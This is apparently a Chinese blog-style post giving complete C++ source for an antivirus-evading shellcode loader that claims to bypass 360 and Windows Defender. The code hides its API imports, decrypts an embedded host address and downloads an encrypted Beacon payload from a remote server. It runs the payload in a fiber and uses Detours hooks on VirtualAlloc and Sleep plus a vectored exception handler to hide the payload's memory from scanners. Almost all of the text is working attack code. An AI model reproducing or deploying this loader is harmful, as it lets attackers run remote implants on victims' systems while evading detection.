加载方式Fiber+VEH Hook Load
Fiber是纤程免杀,VEH是异常报错,hook使用detours来hook VirtualAlloc和sleep,通过异常报错调用实现主动hook
纤程Fiber的概念:纤程是比线程的更小的一个运行单位。可以把一个线程拆分成多个纤程,然后通过人工转换纤程,从而让各个纤程工作。线程的实现通过Windows内核完成的,因此Windows可以自动对线程进行调度。但是纤程是通过用户模式的代码来实现的,是程序员自己写的算法,内核不知道纤程的实现方式,而是你自己定义的调度算法,因此纤程是“非抢占”的调度方式
可以看到绕过360和window defender杀软
手法是在ConsoleApplication15项目上改动的,之前项目是VEH Hook Load加载的方式,在此加载方式上修改由线程变成纤程Fiber
全代码如下:
ConsoleApplication17_2.cpp
#include <iostream>
#include<Windows.h>
#include "detours.h"
#include "detver.h"
#include <WinInet.h>
#include "base64.h"
#include "AES.h"
#include "need.h"
#pragma comment(lib,"detours.lib")
#pragma comment(lib,"wininet")
#pragma warning(disable:4996)
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
extern "C" PVOID64 _cdecl GetPeb();
using namespace std;
LPVOID Beacon_address;
SIZE_T Beacon_data_len;
DWORD Beacon_Memory_address_flOldProtect;
HANDLE hEvent;
BOOL Vir_FLAG = TRUE;
LPVOID shellcode_addr;
typedef LPVOID(WINAPI* VirtualAllocT)(
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);
typedef HINTERNET(WINAPI* InternetOpenW_T)(
_In_opt_ LPCWSTR lpszAgent,
_In_ DWORD dwAccessType,
_In_opt_ LPCWSTR lpszProxy,
_In_opt_ LPCWSTR lpszProxyBypass,
_In_ DWORD dwFlags
);
typedef HINTERNET(WINAPI* InternetConnectW_T)(
_In_ HINTERNET hInternet,
_In_ LPCWSTR lpszServerName,
_In_ INTERNET_PORT nServerPort,
_In_opt_ LPCWSTR lpszUserName,
_In_opt_ LPCWSTR lpszPassword,
_In_ DWORD dwService,
_In_ DWORD dwFlags,
_In_opt_ DWORD_PTR dwContext
);
typedef HINTERNET(WINAPI* HttpOpenRequestW_T)(
_In_ HINTERNET hConnect,
_In_opt_ LPCWSTR lpszVerb,
_In_opt_ LPCWSTR lpszObjectName,
_In_opt_ LPCWSTR lpszVersion,
_In_opt_ LPCWSTR lpszReferrer,
_In_opt_z_ LPCWSTR FAR* lplpszAcceptTypes,
_In_ DWORD dwFlags,
_In_opt_ DWORD_PTR dwContext
);
typedef HINTERNET(WINAPI* HttpSendRequestW_T)(
_In_ HINTERNET hRequest,
_In_reads_opt_(dwHeadersLength) LPCWSTR lpszHeaders,
_In_ DWORD dwHeadersLength,
_In_reads_bytes_opt_(dwOptionalLength) LPVOID lpOptional,
_In_ DWORD dwOptionalLength
);
typedef HINTERNET(WINAPI* InternetReadFile_T)(
_In_ HINTERNET hFile,
_Out_writes_bytes_(dwNumberOfBytesToRead) __out_data_source(NETWORK) LPVOID lpBuffer,
_In_ DWORD dwNumberOfBytesToRead,
_Out_ LPDWORD lpdwNumberOfBytesRead
);
FARPROC CustomGetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
// Get the address of the module's PE header
BYTE* pImageBase = (BYTE*)hModule;
IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)pImageBase;
IMAGE_NT_HEADERS64* pNtHeaders = (IMAGE_NT_HEADERS64*)(pImageBase + pDosHeader->e_lfanew);
// Get the address of the export directory
IMAGE_DATA_DIRECTORY exportDirectory = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
IMAGE_EXPORT_DIRECTORY* pExportDir = (IMAGE_EXPORT_DIRECTORY*)(pImageBase + exportDirectory.VirtualAddress);
DWORD* pAddressOfFunctions = (DWORD*)(pImageBase + pExportDir->AddressOfFunctions);
WORD* pAddressOfNameOrdinals = (WORD*)(pImageBase + pExportDir->AddressOfNameOrdinals);
DWORD* pAddressOfNames = (DWORD*)(pImageBase + pExportDir->AddressOfNames);
for (DWORD i = 0; i < pExportDir->NumberOfNames; ++i) {
LPCSTR pName = (LPCSTR)(pImageBase + pAddressOfNames[i]);
if (strcmp(lpProcName, pName) == 0) {
WORD ordinal = pAddressOfNameOrdinals[i];
DWORD functionRVA = pAddressOfFunctions[ordinal];
FARPROC pFunction = (FARPROC)(pImageBase + functionRVA);
return pFunction;
}
}
return NULL;
}
HMODULE getKernel32Address()
{
PVOID64 Peb = GetPeb();
PVOID64 LDR_DATA_Addr = *(PVOID64**)((BYTE*)Peb + 0x018); //0x018是LDR相对于PEB偏移 存放着LDR的基地址
UNICODE_STRING* FullName;
HMODULE hKernel32 = NULL;
LIST_ENTRY* pNode = NULL;
pNode = (LIST_ENTRY*)(*(PVOID64**)((BYTE*)LDR_DATA_Addr + 0x30)); //偏移到InInitializationOrderModuleList
while (true)
{
FullName = (UNICODE_STRING*)((BYTE*)pNode + 0x38);//BaseDllName基于InInitialzationOrderModuList的偏移
if (*(FullName->Buffer + 12) == '\0')
{
hKernel32 = (HMODULE)(*((ULONG64*)((BYTE*)pNode + 0x10)));//DllBase
break;
}
pNode = pNode->Flink;
}
return hKernel32;
}
HMODULE getWininetAddress()
{
HMODULE hWininet = nullptr;
// 获取模块句柄
hWininet = GetModuleHandle(L"wininet.dll");
return hWininet;
}
//AES的key和iv
const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空
string DecryptionAES(const string& strSrc) //AES解密
{
string strData = ko::Base64::decode(strSrc);
size_t length = strData.length();
//密文
char* szDataIn = new char[length + 1];
memcpy(szDataIn, strData.c_str(), length + 1);
//明文
char* szDataOut = new char[length + 1];
memcpy(szDataOut, strData.c_str(), length + 1);
//进行AES的CBC模式解密
AES aes;
aes.MakeKey(g_key, g_iv, 16, 16);
aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);
//去PKCS7Padding填充
if (0x00 < szDataOut[length - 1] <= 0x16)
{
int tmp = szDataOut[length - 1];
for (int i = length - 1; i >= length - tmp; i--)
{
if (szDataOut[i] != tmp)
{
memset(szDataOut, 0, length);
cout << "去填充失败!解密出错!!" << endl;
break;
}
else
szDataOut[i] = 0;
}
}
string strDest(szDataOut);
delete[] szDataIn;
delete[] szDataOut;
return strDest;
}
//Hook VirtualAlloc函数的原因是我们需要知道Beacon在自展开时分配的可执行内存起始地址和大小是多少好在后面对这块内存取消X属性以免被扫描
static LPVOID(WINAPI* OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = VirtualAlloc;
LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {
Beacon_data_len = dwSize;
Beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
printf("分配大小:%d", Beacon_data_len);
printf("分配地址:%llx \n", Beacon_address);
return Beacon_address;
}
//Hool Sleep函数是因为我们需要在Beacon进入Sleep后立马取消Beacon内存区域的X属性
static VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;
void WINAPI NewSleep(DWORD dwMilliseconds)
{
if (Vir_FLAG)
{
VirtualFree(shellcode_addr, 0, MEM_RELEASE);
Vir_FLAG = false;
}
printf("sleep时间:%d\n", dwMilliseconds);
SetEvent(hEvent);
OldSleep(dwMilliseconds);
}
void Hook()
{
DetourRestoreAfterWith(); //避免重复HOOK,恢复原来HOOK
DetourTransactionBegin(); // 开始HOOK
DetourUpdateThread(GetCurrentThread()); //刷新当前线程
DetourAttach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc); //将拦截的函数附加到原函数的地址上,这里可以拦截多个函数 NewVirtualAlloc
DetourAttach((PVOID*)&OldSleep, NewSleep); //将拦截的函数附加到原函数的地址上, 这里可以拦截多个函数 NewSleep
DetourTransactionCommit(); // 提交HOOK
}
void UnHook()
{
DetourTransactionBegin(); //恢复原来HOOK
DetourUpdateThread(GetCurrentThread()); //刷新当前线程
DetourDetach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc); //解除hook
DetourTransactionCommit(); //提交
}
size_t GetSize(char* szFilePath)
{
size_t size;
FILE* f = fopen(szFilePath, "rb");
fseek(f, 0, SEEK_END); //fseek函数用于重定位流(数据流/文件)上的文件内部位置指针 //SEEK_END代表文件末尾
size = ftell(f); //获取文件的 当前指针位置 相对于 文件首地址 的偏移字节数
rewind(f); //rewind() 函数将文件位置指示符设置为给定文件流的开头
fclose(f);
return size;
}
unsigned char* ReadBinaryFile(char* szFilePath, size_t* size)
{
unsigned char* p = NULL;
FILE* f = NULL;
size_t res = 0;
*size = GetSize(szFilePath); //
if (*size == 0) return NULL;
f = fopen(szFilePath, "rb");
if (f == NULL)
{
printf("Binary file does not exists!\n");
return 0;
}
p = new unsigned char[*size];
// Read file
rewind(f);
res = fread(p, sizeof(unsigned char), *size, f);
fclose(f);
if (res == 0)
{
delete[] p;
return NULL;
}
return p;
}
BOOL is_Exception(DWORD64 Exception_addr)
{
if (Exception_addr < ((DWORD64)Beacon_address + Beacon_data_len) && Exception_addr >(DWORD64)Beacon_address)
{
printf("地址符合:%llx\n", Exception_addr);
return true;
}
printf("地址不符合:%llx\n", Exception_addr);
return false;
}
//设置VEH异常处理函数,用来在因内存X属性取消后触发异常时恢复X属性
LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{
printf("FirstVectExcepHandler\n");
printf("异常错误码:%x\n", pExcepInfo->ExceptionRecord->ExceptionCode);
printf("线程地址:%llx\n", pExcepInfo->ContextRecord->Rip);
if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(pExcepInfo->ContextRecord->Rip)) //判断异常错误码是否等于0xc0000005,并且调用is_Exception函数来判断pExcepInfo->ContextRecord->Rip是否符合某个条件。pExcepInfo 是一个指向异常信息结构体 EXCEPINFO 的指针,用于存储关于异常的详细信息,ContextRecord 是 EXCEPTION_RECORD 结构体的一个成员,它是一个指向上下文记录的指针,其中包含有关引发异常的线程的上下文信息
{
printf("恢复Beacon内存属性\n");
VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect); //恢复beacon内存属性
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
//然后创建一个线程用来在Beacon进入睡眠之后立刻取消Beacon内存区域的X属性
DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter)
{
printf("Beacon_set_Memory_attributes启动\n");
while (true)
{
WaitForSingleObject(hEvent, INFINITE); //INFINITE表示等待时间无限长,直到收到信号为止
printf("设置Beacon内存属性不可执行\n");
VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE, &Beacon_Memory_address_flOldProtect); //内存属性
ResetEvent(hEvent); //重置事件对象
}
return 0;
}
int main()
{
//创建事件用来同步线程
hEvent = CreateEvent(NULL, TRUE, false, NULL);
AddVectoredExceptionHandler(1, &FirstVectExcepHandler); //表示注册一个优先级为 1 的向量化异常处理程序,并将其指向名为 FirstVectExcepHandler 的函数。当发生相应的异常时,被注册的处理程序 FirstVectExcepHandler 将会被调用。
Hook();
HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0, NULL); //创建线程
CloseHandle(hThread1); //关闭句柄
unsigned char* BinData = NULL;
size_t payload_len = 500000;
string enhost = "nlwJ3dl9R+5otLOXHiZ6eQ=="; //远程下载的主机的ip
string dehost = DecryptionAES(enhost);
int hostLen = MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, NULL, 0);
LPWSTR hostLPCWSTR = new WCHAR[hostLen];
MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, hostLPCWSTR, hostLen);
WORD port = 8000;
string enpath = "EkYwlGs7z8OzXAEs7rszZA=="; //对应的文件
string depath = DecryptionAES(enpath);
int pathLen = MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, NULL, 0);
LPWSTR pathLPCWSTR = new WCHAR[pathLen];
MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, pathLPCWSTR, pathLen);
HINTERNET session;
HINTERNET conn;
HINTERNET reqfile;
DWORD nread;
//shellcode_addr = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //使用默认设置创建会话
char xyVAc[] = { 'V','i','r','t','u','a','l','A','l','l','o','c',0 };
VirtualAllocT pVAc = (VirtualAllocT)CustomGetProcAddress((HMODULE)getKernel32Address(), xyVAc);
shellcode_addr = pVAc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
session = InternetOpen(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
//连接到目标主机
//conn = InternetConnect(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);
char xyItC[] = { 'I','n','t','e','r','n','e','t','C','o','n','n','e','c','t','W',0 };
InternetConnectW_T pItC = (InternetConnectW_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyItC);
conn = pItC(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);
//创建请求
//reqfile = HttpOpenRequest(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);
char xyHOR[] = { 'H','t','t','p','O','p','e','n','R','e','q','u','e','s','t','W',0 };
HttpOpenRequestW_T pHOR = (HttpOpenRequestW_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyHOR);
reqfile = pHOR(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);
//发送请求并读取响应
//HttpSendRequest(reqfile, NULL, 0, 0, 0);
char xyHSR[] = { 'H','t','t','p','S','e','n','d','R','e','q','u','e','s','t','W',0 };
HttpSendRequestW_T pHSR = (HttpSendRequestW_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyHSR);
pHSR(reqfile, NULL, 0, 0, 0);
//InternetReadFile(reqfile, shellcode_addr, payload_len, &nread);
char xyIRF[] = { 'I','n','t','e','r','n','e','t','R','e','a','d','F','i','l','e',0 };
InternetReadFile_T pIRF = (InternetReadFile_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyIRF);
pIRF(reqfile, shellcode_addr, payload_len, &nread);
std::string AESEncodedContent(reinterpret_cast<const char*>(shellcode_addr), nread);
std::string base64DecodedContent;
string AESDecodedContent = DecryptionAES(AESEncodedContent);
base64DecodedContent = ko::Base64::decode(AESDecodedContent);
//char* szFilePath = "F:\\Tools\\beacon811.bin";
//BinData = ReadBinaryFile(szFilePath, &size); //ReadBinaryFile函数能直接读取二进制文件
LPVOID fiber = ConvertThreadToFiber(NULL);
//CopyMemory(shellcode_addr, base64DecodedContent.data, base64DecodedContent.size());
memcpy(shellcode_addr, base64DecodedContent.data(), base64DecodedContent.size()); //将内存复制进去
VirtualProtect(shellcode_addr, payload_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect); //修改内存属性
LPVOID shellFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)shellcode_addr, NULL);
SwitchToFiber(shellFiber);
/*(*(int(*)()) shellcode_addr)();*/
UnHook();
return 0;
}
//整体思路:Beacon进入睡眠就取消它内存的可执行属性,等Beacon线程醒来时触发异常交由VEH异常处理函数恢复内存的可执行属性,然后Beacon执行完成后又进入睡眠一直重复上述过程
其余文件还是之前项目中获得